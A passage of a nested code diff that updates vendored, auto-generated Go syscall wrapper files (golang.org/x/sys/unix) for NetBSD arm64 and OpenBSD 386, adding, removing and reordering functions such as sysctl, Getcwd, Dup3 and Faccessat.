-copy from vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go
-index ac1e8e01..24b4ebb4 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm64.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags freebsd,amd64 syscall_bsd.go syscall_freebsd.go syscall_freebsd_amd64.go
-+// go run mksyscall.go -netbsd -tags netbsd,arm64 syscall_bsd.go syscall_netbsd.go syscall_netbsd_arm64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build freebsd,amd64
-+// +build netbsd,arm64
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,10 +350,10 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (r int, w int, err error) {
-+func pipe() (fd1 int, fd2 int, err error) {
- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- r = int(r0)
-- w = int(r1)
-+ fd1 = int(r0)
-+ fd2 = int(r1)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -378,8 +362,15 @@ func pipe() (r int, w int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+func Getdents(fd int, buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,13 +379,15 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Access(path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -403,8 +396,8 @@ func Access(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -413,8 +406,14 @@ func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func CapEnter() (err error) {
-- _, _, e1 := Syscall(SYS_CAP_ENTER, 0, 0, 0)
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -423,8 +422,13 @@ func CapEnter() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func capRightsGet(version int, fd int, rightsp *CapRights) (err error) {
-- _, _, e1 := Syscall(SYS___CAP_RIGHTS_GET, uintptr(version), uintptr(fd), uintptr(unsafe.Pointer(rightsp)))
-+func Access(path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -433,8 +437,8 @@ func capRightsGet(version int, fd int, rightsp *CapRights) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func capRightsLimit(fd int, rightsp *CapRights) (err error) {
-- _, _, e1 := Syscall(SYS_CAP_RIGHTS_LIMIT, uintptr(fd), uintptr(unsafe.Pointer(rightsp)), 0)
-+func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-+ _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -549,6 +553,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -770,8 +784,13 @@ func ExtattrListLink(link string, attrnamespace int, data uintptr, nbytes int) (
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-- _, _, e1 := Syscall6(SYS_POSIX_FADVISE, uintptr(fd), uintptr(offset), uintptr(length), uintptr(advice), 0, 0)
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -780,13 +799,8 @@ func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_POSIX_FADVISE, uintptr(fd), 0, uintptr(offset), 0, uintptr(length), uintptr(advice))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -896,8 +910,13 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -906,8 +925,8 @@ func Fstatfs(fd int, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-+func Fstatvfs1(fd int, buf *Statvfs_t, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATVFS1, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -916,8 +935,8 @@ func Fsync(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)
-+func Fsync(fd int) (err error) {
-+ _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -926,15 +945,8 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-+func Ftruncate(fd int, length int64) (err error) {
-+ _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), 0, uintptr(length))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -943,14 +955,6 @@ func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdtablesize() (size int) {
-- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
-- size = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getegid() (egid int) {
- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
-@@ -1224,6 +1228,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1239,6 +1258,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -1265,13 +1299,13 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Openat(fdat int, path string, mode int, perm uint32) (fd int, err error) {
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(fdat), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1304,7 +1338,7 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1321,7 +1355,7 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1463,7 +1497,7 @@ func Rmdir(path string) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, _, e1 := Syscall(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(whence))
-+ r0, _, e1 := Syscall6(SYS_LSEEK, uintptr(fd), 0, uintptr(offset), uintptr(whence), 0, 0)
- newoffset = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1473,8 +1507,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1513,21 +1548,6 @@ func Setgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setlogin(name string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(name)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Setpgid(pid int, pgid int) (err error) {
- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
- if e1 != 0 {
-@@ -1568,26 +1588,6 @@ func Setreuid(ruid int, euid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setresgid(rgid int, egid int, sgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRESGID, uintptr(rgid), uintptr(egid), uintptr(sgid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setresuid(ruid int, euid int, suid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRESUID, uintptr(ruid), uintptr(euid), uintptr(suid))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Setrlimit(which int, lim *Rlimit) (err error) {
- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
-@@ -1644,13 +1644,13 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-+func Statvfs1(path string, buf *Statvfs_t, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_STATVFS1, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1715,7 +1715,7 @@ func Truncate(path string, length int64) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), 0)
-+ _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), 0, uintptr(length))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1732,21 +1732,6 @@ func Umask(newmask int) (oldmask int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Undelete(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Unlink(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1810,7 +1795,7 @@ func write(fd int, p []byte) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall6(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
-+ r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), 0, uintptr(pos), 0, 0)
- ret = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1852,17 +1837,6 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func accept4(fd int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (nfd int, err error) {
-- r0, _, e1 := Syscall6(SYS_ACCEPT4, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), uintptr(flags), 0, 0)
-- nfd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go
-index 7baea87c..b44b31ae 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -openbsd -tags openbsd,386 syscall_bsd.go syscall_openbsd.go syscall_openbsd_386.go
-+// go run mksyscall.go -l32 -openbsd -tags openbsd,386 syscall_bsd.go syscall_openbsd.go syscall_openbsd_386.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build openbsd,386
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe(p *[2]_C_int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -376,7 +360,7 @@ func pipe(p *[2]_C_int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-+func Getdents(fd int, buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -393,6 +377,60 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -524,6 +562,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -531,6 +579,21 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -561,6 +624,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
